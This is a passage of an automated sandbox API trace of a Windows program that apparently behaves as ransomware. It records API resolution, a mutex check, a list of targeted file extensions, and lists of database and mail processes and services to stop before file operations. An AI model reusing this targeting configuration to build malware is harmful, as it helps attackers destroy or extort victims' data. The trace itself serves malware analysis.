() returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0274.007] GetACP () returned 0x4e4 [0285.334] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75420000 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="GetProcAddress") returned 0x754351b0 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="LoadLibraryA") returned 0x75435a80 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="WaitForSingleObject") returned 0x7548eca0 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7548ebb0 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="LeaveCriticalSection") returned 0x77deb250 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="GetLastError") returned 0x75435010 [0285.335] GetProcAddress (hModule=0x75420000, lpProcName="EnterCriticalSection") returned 0x77deb2d0 [0285.336] GetProcAddress (hModule=0x75420000, lpProcName="ReleaseMutex") returned 0x7548ec20 [0285.336] GetProcAddress (hModule=0x75420000, lpProcName="CloseHandle") returned 0x7548eab0 [0285.336] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75420000 [0285.336] GetProcAddress (hModule=0x75420000, lpProcName="GetProcAddress") returned 0x754351b0 [0285.336] GetProcAddress (hModule=0x75420000, lpProcName="GetModuleHandleW") returned 0x754350d0 [0285.336] GetProcAddress (hModule=0x75420000, lpProcName="FindNextFileW") returned 0x7548ee40 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="FindClose") returned 0x7548ed70 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="MoveFileW") returned 0x7546e500 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="GetFileSizeEx") returned 0x7548ef40 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="GetModuleFileNameW") returned 0x75435090 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="GetFileAttributesW") returned 0x7548ef10 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="ExitProcess") returned 0x75433cb0 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="GetCommandLineW") returned 0x75434cc0 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="GetComputerNameW") returned 0x754632c0 [0285.337] GetProcAddress (hModule=0x75420000, lpProcName="GetComputerNameA") returned 0x75463780 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="CreateMutexW") returned 0x7548eb70 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="lstrlenW") returned 0x75436c70 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="lstrlenA") returned 0x75436c50 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="GetCurrentProcess") returned 0x7548ea10 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="WaitForSingleObject") returned 0x7548eca0 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="GetLogicalDrives") returned 0x75430d20 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="GetTickCount") returned 0x7548dd50 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="DeleteFileW") returned 0x7548ed40 [0285.338] GetProcAddress (hModule=0x75420000, lpProcName="WideCharToMultiByte") returned 0x75436b10 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7548ebb0 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="Sleep") returned 0x75436760 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="LeaveCriticalSection") returned 0x77deb250 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="ReadFile") returned 0x7548f090 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="CreateFileW") returned 0x7548ed10 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="OpenMutexW") returned 0x7548ebf0 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="EnterCriticalSection") returned 0x77deb2d0 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="WaitForMultipleObjects") returned 0x7548ec80 [0285.339] GetProcAddress (hModule=0x75420000, lpProcName="lstrcmpiW") returned 0x75436bf0 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="lstrcmpiA") returned 0x75436bd0 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="DeleteCriticalSection") returned 0x77dcfb90 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="ReleaseMutex") returned 0x7548ec20 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="CloseHandle") returned 0x7548eab0 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="GetVersion") returned 0x754356c0 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="CreateThread") returned 0x754346b0 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="ExpandEnvironmentStringsW") returned 0x75434a40 [0285.340] GetProcAddress (hModule=0x75420000, lpProcName="QueryPerformanceCounter") returned 0x75435da0 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="QueryPerformanceFrequency") returned 0x75435dc0 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="GetCurrentProcessId") returned 0x7548ea20 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="SetFileAttributesW") returned 0x7548f100 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="GetVolumeInformationW") returned 0x7548f020 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="WriteFile") returned 0x7548f180 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="SetFilePointerEx") returned 0x7548f130 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="SetEndOfFile") returned 0x7548f0e0 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="FindFirstFileW") returned 0x7548edf0 [0285.341] GetProcAddress (hModule=0x75420000, lpProcName="GetProcessHeap") returned 0x754351f0 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="HeapReAlloc") returned 0x77ddf630 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="HeapAlloc") returned 0x77de2dc0 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="HeapFree") returned 0x754357f0 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="CreatePipe") returned 0x75434590 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="SetHandleInformation") returned 0x7548eae0 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="CreateProcessW") returned 0x75434610 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="CompareStringW") returned 0x75434430 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="CompareStringA") returned 0x75434410 [0285.342] GetProcAddress (hModule=0x75420000, lpProcName="OpenProcess") returned 0x75435cc0 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="TerminateProcess") returned 0x754367e0 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="GetSystemTime") returned 0x754354e0 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="SystemTimeToFileTime") returned 0x754367a0 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="GetLastError") returned 0x75435010 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="CreateToolhelp32Snapshot") returned 0x7546edc0 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="Process32NextW") returned 0x7546f8f0 [0285.343] GetProcAddress (hModule=0x75420000, lpProcName="Process32FirstW") returned 0x7546f750 [0285.343] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77a40000 [0285.343] GetProcAddress (hModule=0x77a40000, lpProcName="RegOpenKeyExW") returned 0x77a5e580 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="RegQueryValueExW") returned 0x77a5e5a0 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="RegSetValueExW") returned 0x77a5f530 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="RegCloseKey") returned 0x77a5ed60 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="OpenProcessToken") returned 0x77a5efb0 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="GetTokenInformation") returned 0x77a5ee90 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="OpenSCManagerW") returned 0x77a60540 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="OpenServiceW") returned 0x77a5fa20 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="CloseServiceHandle") returned 0x77a5fc00 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="ControlService") returned 0x77a726d0 [0285.344] GetProcAddress (hModule=0x77a40000, lpProcName="QueryServiceStatus") returned 0x77a62380 [0285.345] GetProcAddress (hModule=0x77a40000, lpProcName="EnumDependentServicesW") returned 0x77a72f70 [0285.345] GetProcAddress (hModule=0x77a40000, lpProcName="EnumServicesStatusExW") returned 0x77a5fc80 [0285.345] LoadLibraryA (lpLibFileName="user32.dll") returned 0x752e0000 [0285.345] GetProcAddress (hModule=0x752e0000, lpProcName="SystemParametersInfoW") returned 0x7530f210 [0285.345] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76060000 [0285.345] GetProcAddress (hModule=0x76060000, lpProcName="ShellExecuteExW") returned 0x761c4730 [0285.345] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77da0000 [0285.345] GetProcAddress (hModule=0x77da0000, lpProcName="NtQuerySystemInformation") returned 0x77e12070 [0285.345] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74600000 [0285.348] GetProcAddress (hModule=0x74600000, lpProcName="WNetCloseEnum") returned 0x74602640 [0285.348] GetProcAddress (hModule=0x74600000, lpProcName="WNetOpenEnumW") returned 0x74602790 [0285.348] GetProcAddress (hModule=0x74600000, lpProcName="WNetEnumResourceW") returned 0x74602410 [0285.348] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75d40000 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="WSAStartup") returned 0x75d45b40 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="socket") returned 0x75d54510 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="send") returned 0x75d45030 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="recv") returned 0x75d50c50 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="connect") returned 0x75d45410 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="closesocket") returned 0x75d50910 [0285.351] GetProcAddress (hModule=0x75d40000, lpProcName="gethostbyname") returned 0x75d76cb0 [0285.352] GetProcAddress (hModule=0x75d40000, lpProcName="inet_addr") returned 0x75d59160 [0285.352] GetProcAddress (hModule=0x75d40000, lpProcName="ntohl") returned 0x75d449d0 [0285.352] GetProcAddress (hModule=0x75d40000, lpProcName="htonl") returned 0x75d449d0 [0285.352] GetProcAddress (hModule=0x75d40000, lpProcName="htons") returned 0x75d58ff0 [0285.352] GetProcessHeap () returned 0x730000 [0285.352] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x73ae48 [0285.352] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12723670082) returned 1 [0285.352] GetTickCount () returned 0x1f0e3 [0285.352] GetCurrentProcessId () returned 0xc6c [0285.354] GetTickCount () returned 0x1f0e3 [0285.354] GetTickCount () returned 0x1f0e3 [0285.354] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x73ae98 [0285.354] GetVersion () returned 0x23f00206 [0285.354] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x7) returned 0x749810 [0285.354] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78beb0 [0285.354] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78beb0, Size=0x20) returned 0x73af60 [0285.355] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73af60, Size=0x40) returned 0x7425c0 [0285.355] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x78c418 [0285.355] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317A") returned 0xf3c [0285.355] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749810 | out: hHeap=0x730000) returned 1 [0285.355] lstrlenW (lpString="Global\\syncronize_") returned 18 [0285.355] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7425c0 | out: hHeap=0x730000) returned 1 [0285.355] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x7) returned 0x7499a0 [0285.355] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bef8 [0285.355] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bef8, Size=0x20) returned 0x73af60 [0285.355] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73af60, Size=0x40) returned 0x742968 [0285.355] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x79c420 [0285.356] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317U") returned 0xf40 [0285.356] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7499a0 | out: hHeap=0x730000) returned 1 [0285.356] lstrlenW (lpString="Global\\syncronize_") returned 18 [0285.356] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x742968 | out: hHeap=0x730000) returned 1 [0285.356] GetVersion () returned 0x23f00206 [0285.356] GetCurrentProcess () returned 0xffffffff [0285.356] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0xf44) returned 1 [0285.356] GetTokenInformation (in: TokenHandle=0xf44, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0285.356] CloseHandle (hObject=0xf44) returned 1 [0285.356] WaitForSingleObject (hHandle=0xf40, dwMilliseconds=0x0) returned 0x102 [0285.356] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x3e8) returned 0x0 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746af8 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bc88 [0285.356] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bc88, Size=0x20) returned 0x73af60 [0285.356] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73af60, Size=0x40) returned 0x742ad0 [0285.356] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742ad0, Size=0x80) returned 0x736868 [0285.356] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x736868, Size=0x100) returned 0x73e4c8 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x34) returned 0x74a6f0 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x7499a0 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x749810 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x749860 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78be50 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x749870 [0285.356] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bdf0 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x749870, Size=0x8) returned 0x7498b0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bd90 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7498b0, Size=0x10) returned 0x78bd30 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bee0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78be38 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd30, Size=0x20) returned 0x73af60 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bd30 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78be08 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7499a0, Size=0x8) returned 0x749870 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x749810, Size=0x8) returned 0x7499a0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x749810 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bcd0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x749890 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78be20 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x749890, Size=0x8) returned 0x7498a0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bd00 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7498a0, Size=0x10) returned 0x78bd18 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bc40 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x749890 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd18, Size=0x20) returned 0x76ffd0 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x749870, Size=0x10) returned 0x78bc70 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7499a0, Size=0x10) returned 0x78bc88 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x749870 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bda8 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x7499a0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bca0 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7499a0, Size=0x8) returned 0x7498a0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x7499a0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bce8 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x7498b0 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bcb8 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7498b0, Size=0x8) returned 0x778ce0 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bc70, Size=0x20) returned 0x770098 [0285.357] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bc88, Size=0x20) returned 0x770020 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d90 [0285.357] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78be80 [0285.358] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x778c60 [0285.358] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bf10 [0285.358] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778c60, Size=0x8) returned 0x778e20 [0285.358] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746b18 [0285.358] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746b38 [0285.358] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0285.358] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.358] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x76feb8 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76feb8, Size=0x40) returned 0x742968 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742968, Size=0x80) returned 0x736868 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x736868, Size=0x100) returned 0x73e4c8 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bdc0 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bdc0, Size=0x20) returned 0x76ffa8 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76ffa8, Size=0x40) returned 0x7429f8 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7429f8, Size=0x80) returned 0x736868 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x736868, Size=0x100) returned 0x741be8 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bc70 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x778c70 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778c70, Size=0x8) returned 0x778c90 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746b58 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778c90, Size=0x10) returned 0x78bd48 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x746bf8 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1a) returned 0x76ff30 [0285.361] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd48, Size=0x20) returned 0x76ff58 [0285.361] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1c) returned 0x7701d8 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x16) returned 0x746b78 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1a) returned 0x76fff8 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bf28 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x778de0 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x742380 [0285.362] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778de0, Size=0x8) returned 0x778c90 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x3c) returned 0x7429b0 [0285.362] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778c90, Size=0x10) returned 0x78beb0 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x746b98 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x746bb8 [0285.362] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78beb0, Size=0x20) returned 0x76ff08 [0285.362] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24) returned 0x747b18 [0285.362] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0285.362] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.362] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0285.362] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741be8 | out: hHeap=0x730000) returned 1 [0285.362] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x76fee0 [0285.410] EnumServicesStatusExW (in: hSCManager=0x76fee0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0285.411] GetLastError () returned 0xea [0285.411] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x7ad468 [0285.411] EnumServicesStatusExW (in: hSCManager=0x76fee0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7ad468, cbBufSize=0x1d10, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7ad468, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0285.412] CloseServiceHandle (hSCObject=0x76fee0) returned 1 [0285.412] lstrlenW (lpString="Appinfo") returned 7 [0285.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0285.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0285.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0285.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0285.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0285.412] lstrlenW (lpString="AppXSvc") returned 7 [0285.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0285.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0285.412] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0285.412] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0285.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0285.412] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0285.412] lstrcmpiW 